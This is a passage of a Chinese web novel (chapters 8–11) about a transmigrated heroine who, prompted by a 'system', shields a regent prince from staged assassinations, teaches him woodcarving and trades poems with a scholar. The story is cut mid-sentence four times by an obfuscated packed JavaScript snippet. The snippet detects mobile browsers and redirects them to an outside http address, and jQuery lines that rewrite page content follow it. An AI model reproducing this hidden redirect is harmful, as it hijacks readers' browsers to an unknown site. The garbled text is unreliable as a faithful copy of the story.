余柚笑容一僵,如果上天再给她一次机会,她昨天一定不会闲得无聊装文雅吟诗。
世上没有后悔药,此刻余柚也只好笑着应和宋修筠,“是啊,是首好诗,我当时也品读了很久。”
这话一出,直接打开了宋修筠的话笼子,这一路上就一直在和余柚探讨这首诗:
“这‘庄生晓梦迷蝴蝶’是何意?”
“就是有个叫庄周的人,做梦梦见自己变成了蝴蝶,他醒来后就疑惑,诶,是我化成了蝶还是蝶化成了我呢?”
“那‘望帝春心托杜鹃’呢?”
……
一路上絮絮叨叨,余柚觉得自己说不定还有当老师的天分在,这一趟市集走下来,除了看果蔬的时候,其它时间都在聊诗词,甚至分别的时候宋修筠仍有些意犹未尽。
回到府里已接近午时,余柚刚迈过余府门槛,一道灵巧的白色身影就朝她扑了过来,将她撞了个踉跄。
余柚站稳身子,定睛看去,一张熟悉的萌脸出现在她眼前,圆头圆脑,小巧的焦黄色三角形耳朵立在头顶,水汪汪的大眼睛,再加上粉色的鼻头,萌态可掬。
“阿圆!你怎么在这?”
余柚蹲下身,本能地就上手摸了摸,手感一如既往地好,她抬头看向小橘,眼底是疑惑。
小橘在阿圆朝自己小姐冲过去时心就提起来了,见小姐没事这才无奈道:“隔壁赵婶一家去扬州游玩去了,带上阿圆不方便,说是阿圆和咱们府里人都熟悉,就寄养在咱们府里了。”
阿圆是隔壁赵婶养的狗,非常可爱,也不怕生。作为邻里,余柚穿过来后也见过不少次,每次她都能薅很久。
她用力地揉了揉阿圆的脸,笑嘻嘻,“阿圆,那这段时间你就住我家吧!”
府里一下多了个闹腾的小宠物,余柚的活力也被带着变满了,再度取消自己的休息计划,看了眼时辰,距离午膳还有半个时辰,正好牵着阿圆出门溜达溜达。
阿圆刚出府时撒了欢似的狂奔,余柚跟在后头差点牵不住绳,等一人一狗走到热闹的街坊,街上人来人往,阿圆焦黄色的耳朵颤了颤,步子由跑变成了走,小心翼翼地避开人流。
余柚见此噗嗤一笑。
这还是个窝里横。
她扭头观察,发现不远处就是盛京楼,牵着阿圆慢慢走过去。
来都来了,去自家酒楼看看吧,刚好午膳尝尝推出的新菜系,午时生意正好,街上百姓也多,吃完饭人少了阿圆就也不怕了。
简直完美。
待一人一狗走到盛京楼门口,余柚一抬头,就想把刚刚所说的“完美”收回了。
无它。
只因一抬头就看见了摄政王坐在窗边。
正兴味盎然地盯着她。
8. 第 8 章
余柚猛得低头,原地转身准备回府,离这人越远越好!离得近了不仅要刀尖舔血维持抗拒人设,系统还可能不时冒出个紧急任务。
说曹操曹操就到。
熟悉的机械音再次毫无预兆地出现在脑海中:
【叮!】
【紧急任务:任务对象将在半个时辰后被自窗外射来的箭矢射杀,请宿主化解危机。】
【任务时限:一小时。】
余柚闭眼,深呼吸一口气。
又双叒叕来?
次数多了,这次余柚竟有些习惯,系统的任务系统有问题,任务对象也没省心到哪里去。
她别无它法,抬头重新看向窗边的摄政王,仔细观察窗户的方位。
依照现在摄政王的位置,整个人在窗边暴露无遗,浑像一个活靶子,箭矢从哪个位置都能射中,根本无法预测。
既然无法定位杀手的位置,那就只能把摄政王保护好了。
余柚牵着阿圆走进盛京楼,看着生意红火的酒楼大堂,她此刻还能漫无目的地想到:这要是摄政王真在盛京楼遇刺,她家酒楼的生意怕是好一段时间要比较萧索了。
把阿圆的牵引绳递给店小二,把阿圆带下去喂吃的,余柚信步走到摄政王所在包厢的门口,调整一番表情,推开房门。
包厢内除了临窗而坐的摄政王,还有三人,两位中年男子,还有一个目测年龄和摄政王一般大的公子,几人皆衣着不俗,余柚暗自猜想,应当是摄政王党系的官员。
见余柚毫无预兆地进来,包厢内的官员生出几分躁动,先是互相对了个眼神,随后视线在摄政王和余柚之间来回流转,眼神中带着欲言又止。
前段时日余尚书嫡女“死”也不嫁摄政王之事传得沸沸扬扬,在那之后摄政王又将余尚书一家扣在府里好几日,但余尚书不仅全须全尾地仍在上朝,就连余尚书嫡女也安然无恙。
这不符合摄政王平日里的处事风格,众人在私底下对王爷的想法多有猜测,此刻见余柚进来,他们竟也拿不准该作何态度。
将这番情形纳入眼中,余柚更加确定了自己的猜想。
光天化日之下,结党营私!
真不愧是权倾朝野的摄政王殿下。
余柚嘴角绽开笑容,拿出掌柜的气势,“各位大人都是人中豪杰,国之栋梁,不知今日我是否有幸能与诸位一同用膳?大人们为民造福辛苦了,今日诸位在盛京楼的花销我买单,各位大人随便吃!”
话音落下,所有人的目光整齐划一地看向摄政王,华服男子慵懒地坐在窗边,黑发黑袍,如墨般漆黑的眸子定定对上余柚的视线。
【叮!请宿主注意维持抗拒值!】
系统的提示音响起,把一心只有紧急任务的余柚点醒。
她怎么能请摄政王吃饭呢?
这不符合她的抗拒人设。
她灵机一动,快速补充道:“不过摄政王作为皇室,定是不舍占百姓的便宜,王爷的那份吃食烦请您自费了。”
闻言,摄政王气笑了。
方才瞧见楼下的余柚,他才后知后觉想起,盛京楼似乎是她家的产业。
他先前只是吩咐下人找一家酒楼,想到一会他安排的刺杀,他本有些犹豫,一场针对王爷的刺杀,这对酒楼的生意会产生巨大的冲击。
怎么说这位余小姐也算他半个老师,他可以卖老师一个面子,避一避。
但没想到,少女一上来就带着刺,就差把针对他写脸上了,气得他后槽牙疼。
避什么避。
不避了!
“可以,余小姐请坐。”
余柚顶着众人的惊疑的目光缓缓落座,无视厢房内仿佛要结冰的氛围,镇定自若地环视一周。
这间厢房是盛京楼位置最好的包间,位置宽敞,装修雅致,更是有两扇窗户可以观赏京城的景色,一扇窗户往外看去是热闹的街坊,也就是摄政王临靠的那扇窗户;而另一扇在余柚身后,透过窗户能依稀看见远处的皇宫建筑。
可谓是小能闲聊市井生活,大能阔谈王朝政事。
此刻这两扇窗户皆是完全打开的状态,而现在摄政王的位置,只有通过他临靠着的那扇窗才能射到。
紧急任务的倒计时不停在倒数,余柚抬手招来厢房随侍的店小二,指了指那扇窗,“去把那扇窗关上,关严实了。”
“为何?”
窗户旁的男子闻言抬眸,冰凉的声线再次把余柚冻得一个激灵,她无辜地眨巴眨巴眼睛,“冷。”
摄政王锐利的眼神落在余柚身上许久,直到店小二把窗户关好,他才淡淡出声:“那另一扇窗户呢?要关吗?”
眼见摄政王靠着的窗户被关得严严实实的,余柚放下心来,见好就收,“不用不用,关一扇就行。”
“既如此,李大人,本王与你换个位置,正好本王有些话想同余小姐说说。”
随后。
摄政王理了理衣袖起身,和余柚身旁坐着的中年男子更换了座位,余柚眼睁睁地看着摄政王在身旁落座,而他们身后正是另一扇窗户。
?
我和你无话可说。
你能不能回到你原来的位置?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092524|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“那个,我收回刚才那句话,另一扇窗户我也想关……”余柚弱弱出声,试图重新争取窗户关闭权,收到的却是摄政王毫不掩饰的警告眼神。
“余小姐,本王劝你适可而止。”
少女气势渐弱,依依不舍地看了眼窗户,倒计时还有足足45分钟,摄政王的威胁就在当下,她觉得还是另寻时机方为上策。
“好的,不关,我不关。”
少女又恢复了乖巧的模样,摄政王衣袖下的手指微微摩挲,眸色暗沉。
像个怕生的小猫似的,吓唬一下才能乖乖听话。
不过……
余柚怎么能每次都能碰巧出现在他即将“遇害”的时候呢?且每次都像是知道具体哪里有危险。
第一次。
太后那边最近异动频出,他这边也像出了叛徒,频频对他出手,他也就顺势给自己安排了一场毒杀,想借此找出内奸。
被余柚的一只死老鼠打乱计划。
而余柚也仿佛在暗示他菜里有毒。
第二次。
合欢药。
不在他的计划之内,余柚却也能那么碰巧阻拦婢女的行动。
今日已是第三次了。
他将内奸锁定在今日饭席中的三人之间,安排了一场当着众人面的刺杀,看看哪位“忠臣”会有所异动。
余柚却一落座就精准点中他安排的射杀点,他弗一换位,她就又更换目标,很难不让人生疑。
但就目前的情形来看,除了时不时炸毛刺一下他,少女对他并无恶意,背后也没有其他势力,可以再观察一段时日。
脑里想完这些也就花了几瞬时间,上菜还有一会,余柚在场官员们也不便谈论政事,室内陷入异常的寂静。
不知为何,那句“此情可待成追忆”不停地往摄政王脑海里窜。
与之同来的还有那句“我讨厌老鼠”。
摄政王近几年尊贵惯了,既想到这儿了也就直接问出口:“余小姐曾说,死也不嫁本王,本王倒有些好奇,本王究竟做了何事才会让你说出此等狠绝之话?”
此话一出,在场所有人心里都炸开了锅。
这是能问的吗?
几位官员更是将余柚划到不能惹的名单之中,呛了摄政王后能毫发无伤地与王爷同席用膳,不仅如此,王爷还追问这位余小姐不喜他的原因!
王爷待余小姐绝对不一般。
余柚本人更是像被雷劈了一般,僵在原地,不敢相信自己听见了什么。
这人在说什么啊?!!
这人有没有边界感啊!
9. 第 9 章
【叮!检测到任务对象情感状态发生变化,长期任务已更新,请宿主立刻查收!】
系统的机械音这时又在脑海中冒出来,顾不上回答摄政王直白的问题,余柚划开任务面板,阶段目标果然更新了。
【阶段目标:保持表面抗拒值50%以上,但对任务对象适当展现关切。】
余柚眉头微蹙,她追问系统:
【有具体一点的形容吗?这个度很难拿捏,到底要抗拒还是关心,能举几个例子吗?】
随后系统对这个任务进行了解释,简而言之:表面上余柚要表现出不喜摄政王,但对他的要求要尽量满足,背地里最好还要做一些关心他的事,但切记不可直言。
比如:摄政王受伤了。
余柚不能上去就说:“你没事吧,我给你买金疮药。”她得说:“活该!”
然后悄摸着买上好的药送给摄政王,且不能让摄政王知道这个药是她买的。
余柚:这情节好熟悉,我好像又见过。
等余柚消化完新的阶段任务内容,抬头就看见众人的目光聚焦在她身上,探究欲都快溢出来了,她这才回忆起刚刚摄政王的问题,轻咳一声,说了个模棱两可的答案。
“只要是我不喜欢的人,我不愿意嫁的人,我都是死也不嫁,不论这个人是王爷,高官或者平民百姓,都一样。”
在众人眼中就是,少女思考良久,回答认真而坚定,但说的话深究起来是有些大不敬的,恐会惹得王爷不喜。
想到王爷待余小姐的特殊,身着藏青色长袍的中年官员出声打圆场,笑容满面地应和:
“现在的小姑娘啊,都是这个想法。余小姐,我有一个闺女,比你年长几岁,当年订婚的时候也不情不愿的,说嫁给一个陌生人她委屈,可我们当爹的给她挑选的夫婿那都是顶顶好的。”
“那成婚之后啊,小两口却如胶似漆的,日子过得甜甜蜜蜜,家宅安宁。”
说完朝对面的同僚使了个眼色,另一位中年官员笑吟吟地接过话茬:“刘大人说的是,我家那臭小子也一样。家里给他安排的婚事,那可是顶顶好的,他说什么都不满意,吵着闹着要娶心仪的小姑娘,还说什么非她不娶。”
“你说说这臭小子,怎么这么倔呢?”
李大人言毕,扭头看身旁的年轻官员,揶揄道:“沈大人呢?年少有为,也到了成家的年龄了,可有心仪的女子?”
闻言年轻官员只是爽朗一笑,说志在建功立业,无心情爱。
一圈下来,余柚莫名产生了一种感觉,这一桌子人像是摄政王那边的亲友,在撮合她和摄政王。
是错觉吗?
所有人的发言完毕,摄政王不知听进去了多少,清冷的面容没什么变化,骨骼分明的手指端起茶杯微晃,薄唇轻启:“那余小姐喜欢书呆子?”
毫无前言的一个问题,余柚不解,但下意识吐槽:“是个人都不喜欢呆子吧?”
摄政王对这个答案不甚满意,却也勉勉强强接受,他的老师虽说眼光不行,瞧不上他,但至少不傻,不会去喜欢一个书呆子。
几人闲聊的功夫,后厨已经把菜做好,店小二在陆陆续续上菜,看着李大人从容的姿态,摄政王眼底划过一抹深思。
刚才这几位官员的搭腔他都听进去了,他注意到一件事。
一年前,刑部尚书来找他,为嫡女索要一份皇室赐婚。订婚对象正是李大人的嫡子,二位大人已商谈好婚事,他也乐得成人之美。
但旨意还未下去就出了事,李大人儿子死活不接受这门婚事,想娶太后党系某一官员之女,李大人当着他的面怒斥儿子,差点家法伺候,不过经此一闹,这门婚事也就不了了之。
现在来看,刚才谈及此事时,李大人怎么一副欣慰的老父亲模样?
摄政王心里有了考量,却不动声色,转而开始问余柚一些有关木雕的内容,余柚因为任务,倒也难得有耐心,虽说表现得不情不愿,时不时挑刺说一句:“王爷这都不知道?水平堪忧。”但还是一一回答了他的问题。
虽说老师说话不甚好听,但他已经习惯了,今日无需威胁,余柚就愿意回答他的问题,这更是意外之喜,摄政王的心情肉眼可见地变好。
而射杀的紧急任务还在倒计时。
见此,余柚拿出老师的讲话方式,硬着头皮道:“平常在木雕时,若是临窗,一定要要注意关紧门窗,否则木屑就会被风吹得四处都是。因此,我们平时一定要养成随手关窗的好习惯。”
少女侧身和他一本正经地说了一大通
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092525|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,还时不时瞟几眼他身后的窗户,想法昭然若揭,就差直白地说“我要关窗”了。
摄政王眼底浮现一抹笑意,叛臣是谁他心底已有了猜测,他乐得满足余柚的小心思,抬手让店小二关上门窗。
两扇窗都关得严严实实,饭菜的香气在室内流转,引得人食指大动,摄政王动筷后众人也陆陆续续开始品尝京城第一酒楼的美食。
与众人相反,这一顿饭吃得余柚食之无味,窗户是关了,但她的紧急任务还没显示完成呢!
她提着心,不时看一眼窗户,生怕窗户质量不佳,下一瞬就有弓箭破窗而出射中摄政王的心脏,鲜血溅到她的脸上,与之同时任务宣告失败。
余柚想象中最坏的情形并没有出现,在倒计时只剩三分钟时,余柚都快决定拉着摄政王匍匐倒地了,机械音播报紧急任务已完成。
余柚这才放下心来好好吃饭,紧张的心情过后是席卷而来的饥饿感,今晨早晨没吃完宋修筠就来找她了,早上逛市集还走了那么多步,她急需补充能量。
三位官员陆续放下碗筷,看了眼静坐着的王爷,识趣地先行离开,为余柚和摄政王留下二人空间。
少女认真地品尝菜肴,吃到喜欢的食物时会默默加快咀嚼速度,白嫩的脸颊一鼓一鼓,看着余柚这般模样,摄政王又有些心痒了。
他这段时日有练木雕,他已初步掌握雕刻香蕉的技巧,但上次的印章他不仅睡了过去,还因政事先行离开了,根本没看完全程。
想学。
想请少女去府上教他。
一边盯着余柚用膳,摄政王一边思考如何邀请余柚上他府上教学。
尊贵的摄政王殿下丝毫没有请个专业的木雕匠人来府上的想法,只能想到余柚。
余柚用膳完毕后摄政王仍没有头绪。
二人沉默着并肩下楼,氛围一时有些尴尬,恰好这时店小二把阿圆牵了过来,白毛小狗此刻在余柚眼里如同天使般降临。
她上前蹲下,脸上带着笑意,指腹在阿圆下巴处画小圈,小狗发出舒服的哼唧声,高兴地摇尾巴。
一人一狗,分外和谐。
此情此景,情不自禁地,摄政王脱口而出:“本王府上有小猫,很乖很听话,余小姐可要来府上瞧瞧?”
10. 第 10 章
摄政王府马车。
余柚青葱般的手指在阿圆背上轻轻划过,雪白色的土松犬双眸舒服得眯起,时不时往少女怀里蹭。
余柚不理解摄政王为什么突然邀请她去府上,去看小猫这个借口太拙劣了,依她对这位王爷的了解,大抵是又想学技术了。
新的阶段任务,新的人设。
她就半推半就地应下了,把阿圆送回余府,再拿上她的小猫木雕。
从摄政王府回来后,她的小猫木雕进度已达99%,剩下的1%她卡在了猫咪的眼神上,余柚始终记得当时黑猫望向她时警惕的眼神,蓝宝石似的眼里全无善意。
每次余柚的刻刀将要落下,就是黑猫警惕的模样,压根雕不出她想要的骄矜慵懒,因此,这个木雕被余柚搁置了。
现在猫咪主人邀请她,那是时候捡回来了。
余柚看向黑猫主人,男人的指节抵着额头,阖着双眸长睫微垂,俊美的脸庞上一片恬淡,一头乌发如云铺散,浅眠时眉宇间染上柔和,毫无平日里的亲王威严。
余柚抚摸阿圆的手一顿,暗暗感概,“真妖孽啊……”
不愧是任务对象,样貌堪称绝色。
言罢重新低头撸狗,没看见熟睡的摄政王眼睫一颤睁开眼,浓墨般漆黑的眸子深深看了眼少女,唇角微扬,随后再次阖目归于平静。
马车轱辘轱辘开往余府,顶着侍卫惊惧的目光,余柚放下还想往她怀里钻的阿圆,又进府取来未完成的木雕,简单说明自己的去向后坐回马车。
载着摄政王和余柚二人,马车又轱辘轱辘地往摄政王府的方向开去。
*
摄政王府。
黑猫的皮毛柔软顺滑,懒洋洋地躺在贵妃椅上,长长的尾巴不时微微摇晃,晶莹剔透的双眸里带着惬意,冲着摄政王低“喵”一声,神态骄矜,活像它才是主人一样。
见此余柚眉眼带笑,手中握着刻刀“哗哗”使巧劲,小猫木雕就像注入了灵魂,憨态可掬,让人打眼一瞧就知道是一只娇惯养着的猫儿,高贵慵懒。
余柚满意地放下刻刀,越看越喜欢,甚至有些得意忘形,朝摄政王挑了挑眉,轻摇手中的小猫木雕,像是在说:
“我厉害吧?”
少女鲜活的神态逗笑了摄政王,他眉眼带笑:“余小姐好刀法,本王佩服,心向往之,不知余小姐可愿教教本王?”
冰凉的嗓音染上笑意,带着宠溺,钻入余柚的耳中竟有些发痒,她笑容渐渐收回,不好意思地摸摸鼻子,眼神闪躲。
“咳,嗯……行吧,勉为其难教教你。”
说完她收好自己的小猫木雕,低头翻了翻工具盒,拿出两块方方正正的木块,将其中一块递给对面的人,不敢抬头看摄政王的眼睛,“王爷基础不牢,技术很差,在熟练之前出去别说我是你老师。”
依旧话中带刺。
“我们从基本功练起,上次雕了香蕉练弯弧,这回教你雕星星练练直线,你跟着我的动作一起做。”
摄政王接过木块,他现在已经能完全无视余柚带刺的说话方式,认认真真地跟着余柚一步步雕刻。
先画个星星轮廓。
简单。
再粗雕出大致形状。
没难度。
换小刀刻细节。
……
等等。
他不是跟着余柚一步步来的吗?
摄政王看一眼手中坑坑洼洼的五角星,脸色渐黑,星星的细节处像是被人一拳一拳锤出来的,毫无过渡,也不美观。
余柚抬眼看过去,唇角不自觉地抽搐两下,艰难把嘲笑憋回去,把手往摄政王那边靠了靠,动作放缓放慢,认真展示雕刻手法。
摄政王能瞧见余柚的指腹被刀柄压着,小手像是有魔力,下刀坚定,效果显著,他仔细观察后,跟着余柚动作的频率动手,两人动作同频,整齐划一,他的手法渐入佳境。
余柚带着刻了一回后,因为任务产生的耐心消耗殆尽,不想再进行基础的雕刻,看摄政王也逐渐掌握技巧,就把自己雕好的星星扔给他,让他再从头到尾雕一个星星,她自己则想了想阿圆撒开腿狂奔的模样,开始雕琢她的新木雕。
书房内二人各自专注于自己眼前的木块,向来带着些剑拔弩张气氛的二人,此刻竟十分和谐。
摄政王手上动作不停,友好的氛围促使他说出今日在酒楼有一场针对他的刺杀,但隐瞒了他射杀是策划的一事,只说是手下人查出来的,随后将在心底盘旋许久的疑问道出:
“余小姐,本王一直有一个疑惑,为何你总像是能知晓本王将面对什么危险一样,又为何明明讨厌本王,却多次选择救我呢?”
“能说说为什么吗?”
说罢停住手下的动作,直直地看向余柚。
!!!
摄政王的语气很淡,却让余柚心头大惊,她握着刻刀的手渐渐用力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092526|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,把木块划出一道深深的印迹都没察觉。
他发现了!
余柚试图用巧合嘴硬着应付过去,但一抬眼却撞入男人深黑色的眼中,男人眼底的认真烫得她心尖发颤,她张了张口,敷衍的话始终说不出口。
她做不到用敷衍回应认真。
余柚再度低头沉思半晌,整理好面部表情,决定真假掺半。
少女缓缓抬头,眼神不是慌乱,而是一种被冒犯的、不耐烦的冷静:“王爷信鬼神吗?我自幼便偶尔会做些预示梦,不准,但宁可信其有。梦到您有生命危险,我虽厌您,却也不至于眼睁睁看着您赴死。
“你若不信,便当我是多管闲事。下次,我定不再管。”
潜台词:我解释了,爱信不信。再问就是你不知好歹。
少女的态度太过理直气壮,反而让摄政王的疑心无从下手,他眼睫轻颤,移开和少女对视的视线。
这女子脾气真大。
但……好像是真的在担心我?
低头恢复手上的动作,摄政王竟有点心虚,不敢和余柚对视,嘴上却快速回答:“信,本王信,下次遇险还请余小姐一定要救本王!本王一定好好报恩!”
一时之间,二人都不知道要说些什么。
余柚担心摄政王不信她编的解释。
摄政王怕余柚真的生气。
就这么僵持着到了夕阳西下,落日余晖洒满大地,王府的晚膳一道道呈了上来,皆是人间珍馐美味,美食的香气一个劲地往她鼻腔钻,手下收拾木屑的动作都慢了。
见此,摄政王果断发出共进晚餐邀请,余柚也半推半就地应了下来,饭菜的味道和香气十分匹配,她吃得十分尽兴,小小的脸蛋上写满了满足。
这一顿嘴馋的后果就是:
余柚一个高兴就应下了经常来摄政王府教木雕的请求。
坐上回余府马车的余柚:
大意了!
*
少女离开后。
摄政王摩挲手中的星星木雕,垂眸思考,想到少女理直气壮的解释,明明毫无依据十分荒谬,但他竟信了七分。
抬手召出暗卫,轻启薄唇:
“影一。”
“今晚,哦不,明晚吧,今天她累了,也得给她一个做梦的时间。”
“你,明晚刺杀本王,认认真真准备一下。”
暗卫:?
王爷说话他听不懂。
11. 第 11 章
余柚回到府邸,重重往床上一躺,下意识地抱住棉被,将脸颊埋进被窝中,一双水灵灵的眼睛出神地望着前方。
把今天的经历在脑中过了一遍,余柚认真思索系统的新阶段任务:
保持抗拒的同时流露关心。
按系统所说,这个任务的核心要义就是,不能给摄政王好脸色,不能明着主动对摄政王好,但是摄政王的要求要尽量满足,还得暗搓搓的关心他。
这么盘下来,余柚感觉自己像在学校时幼稚的男生,喜欢谁就扯谁辫子。
既如此,系统任务她就使用“敌不动我不动”策略,等摄政王找她她再随机应变。且既然长期任务发展已到下一阶段,那证明她的任务进度正在稳步推进。
想到这,余柚惬意地抱着薄被翻了个身,眉眼舒展。
那她空闲时间就可以干自己的事了。
系统曾说她若是能完成一定任务,就能以任何身份重活一世,余柚当时觉得当个富二代就很美了,但穿来这个任务世界后……
余柚发现她可以在做任务的过程中体验不同的生活:不同朝代、不同家庭、不同人际关系,最后选择一个最喜欢最舒适的身份。
因此,自从余柚得知自己是“富二代”后,她在盛京楼上花费了不少心思,虽说她对酒楼的经营模式不甚了解,但依据她现代的饭店体验,也提出了不少意见,目前对发展酒楼这一事乐在其中。
且前几日娘亲还把蔬菜供货商的大合作放心交给了她,那她必是不能掉链子,一定把这单合作完成得漂漂亮亮的!
*
翌日。
余柚看着眼前气质如兰的翩翩公子,默默地又把休息计划取消,甲方最大。
“余小姐,今日琼林苑许多学子进行曲水流觞,好酒作陪,畅快吟诗。听闻选的是食鼎楼的酒酿,在下想邀请余小姐一同前去,看看咱们盛京楼的美酒输在哪?”
“若是不输,定要让他们下次选择盛京楼的美酒。”
食鼎楼,京城第二大酒楼,毫不客气地说就是盛京楼的死对头,余柚对名人效应可十分了解,指不定食鼎楼已经把“富有学识的学子都喝我们食鼎楼的佳酿”的宣传语喊出去了。
作为代理掌柜,余柚迸发出强烈的责任感,她用力点头,“去!肯定去!多谢宋公子告知此消息。”
余夫人在一旁看着两位适龄年轻人旁若无人地沟通,唇角的笑压都压不住,“麻烦宋公子了,曲水流觞上人多,我们柚儿不熟,还请宋公子多照顾柚儿。”
宋修筠闻言淡笑着点头,随即和余柚并肩出门,余夫人在原地盯着二人的背影,眼底的满意都快溢出来了,高兴地将手帕在身前一挥:
真好!
郎才女貌的!
*
余柚和宋修筠坐上马车,百无聊赖地晃悠手中的小算盘,“哒哒”地拨弄声在密闭的马车内一阵阵响起,声音清脆,惹来宋修筠的注视。
少女微垂着脑袋,一副放松的姿态,宋修筠轻声道:“余小姐担心食鼎楼越过盛京楼吗?”
闻言,余柚漫不经心地抬眸,“不担心啊,一枝独秀不是春,百花齐放春满园。”
“正当生意往来何需担心,但京城学子的心选佳酿,我们盛京楼自是也想分一杯羹。”
话落,宋修筠怔愣地看着余柚,口中喃喃道:“一枝独秀不是春,百花齐放春满园……”
“余小姐好文采!”
啊?
余柚对上宋修筠热切的眼神,听明白他话中的意思,她略有些尴尬地笑了笑:“误会误会,这首诗不是我写的,我也是听别人说的……”
“那敢问作者是?”
又来了,余柚头都大了,她连忙打断宋修筠的追问:“停停停!别问了,隐士高人,我也没听过全诗,我也是听别人说的。”
见余柚不想说,宋修筠依依不舍地闭嘴,脑中还在回味刚才那句诗,越品味越觉得大气磅礴,诗中自含宽广包容之心。
一路无言地到达琼林苑,迈步到达曲水流觞地点时,余柚只感觉自己看到了一屋子的“宋修筠”,清一色的白袍,穿着打扮格外相似。
众人见宋修筠走进来,纷纷朝他拱手打招呼,可见宋修筠与这些人十分熟稔,余柚疑惑地看向宋修筠,他微微一笑,低声解释:“偶尔和大家一同探讨诗词,一来二去也就认识了。”
余柚闻言点头,和宋修筠同桌落座。
面前流水缓缓流动,清浅平缓,流动的轨迹弯弯绕绕,众人交错落座,有酒觞自河流上游放下,顺流漂去,停在哪位客人面前,客人就要将酒一饮而尽,再吟诗作赋。
宋修筠问余柚是否打算参加,余柚摇摇头,“挺有意思的,但我不擅作诗,还是不参与打扰大家兴致了,若是飞花令我还能玩玩。”
言罢她挥手招来侍女,让她上几杯酒,她轻抿一口,浓醇的酒香在口中四溢,余柚仔细品味。
还不错。
但她盛京楼的酒绝对不输。
酒觞停在一人面前,那人吟出一句“天蓝水清学子聚,品酒相谈欢乐多”,引来众人发笑。
余柚也眉眼弯弯,她就品酒听诗,有机会再宣传宣传她家酒楼的酒就行。
宋修筠凑近余柚,俊朗的眉眼带笑,清润的嗓音放轻,像是引诱狐妖犯罪的书生,“那你我二人玩玩飞花令可好?”
余柚身体下意识地往后撤了些,言语间带着不自然,“玩就玩,凑这么近干嘛!”
宋修筠目的得逞,身子回到原来的位置,为自己和余柚分别斟了杯酒,“那就以‘酒’字为令?”
余柚接过酒杯,轻轻摇晃,突然想起什么,“嗯……我知道的一些诗句你可能没听过,但写得真的很好,你可不能算我错!”
少女义正言辞地盯着他看,宋修筠唇角漾开一抹笑意,“像一样吗?”
“对!”
宋修筠浅笑点头,“这当然不算错。”
怎么可能算错呢?这些诗才是他的真正目的啊!虽然不知道是不是余柚写的,但她知道的这些绝妙诗句真的很吸引他。
飞花令便这般开了头,宋修筠执杯先起,清声吟道:“花间一壶酒,独酌无相亲。”
咦?
有些诗句这个朝代的人又知道呢?余柚心底有疑惑,但并未在意。她指尖轻叩杯沿,接得爽快:“劝君更尽一杯酒,西出阳关无故人。”
酒液在杯中轻晃,漾开细碎银光。宋修筠再吟:“绿蚁新醅酒,红泥小火炉。”余柚抬眸笑应:“葡萄美酒夜光杯,欲饮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092527|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
琵琶马上催。”
几轮皆是千古名句,你来我往间竟无半分滞涩,宋修筠眼底的笑意愈深,只觉与她相和,连杯中美酒都更添几分滋味。忽的,余柚扬眉吟出一句,字句清新鲜活,是他从未听过的:“桃李春风一杯酒,江湖夜雨十年灯。”
宋修筠指尖一顿,抬眸望她时,眼中满是惊艳。这一句藏着岁月冷暖,意韵悠长,他从未听过。
他竟一时忘了接令,只凝神回味,唇齿间似还萦绕着那点桃李春风的温软,及江湖夜雨的清寒。
“宋公子,该你了。”余柚见他发怔,晃了晃酒杯提醒,眼底藏着几分小得意。
中华文化上下五千年,她还能输?
宋修筠回神,失笑端起酒杯一饮而尽,酒液清冽入喉,却暖了心口:“是我输了,该罚。”
后续几轮,间歇也换了好几个令字,有“花”、“春”、“雨”,余柚随口吟出的诗句,或豪迈或清婉,或浅淡或深沉,竟皆是他闻所未闻的绝妙之句。
每一句都戳中人心,宋修筠次次都因凝神品味字句意趣而失了接令的时机,一杯接一杯地饮,俊朗的脸颊渐渐染了醉红,眼尾泛着淡淡的桃色,平日里清润的眼眸,也因酒意添了几分朦胧的柔光。
他本就酒量不好,几杯酒下肚,酒意便涌了上来,身子微微发松,也松了些往日里的君子端方拘谨。
余柚又吟出一句诗,宋修筠望着她莹白的侧脸,睫羽轻颤,竟又失了神。
“又输啦。”余柚笑着要去推他的酒杯,指尖刚触到杯沿,手腕却被宋修筠轻轻握住。
他的掌心带着酒液的温意,还有几分微烫的热度,力道不重,却将她的手腕牢牢圈住。
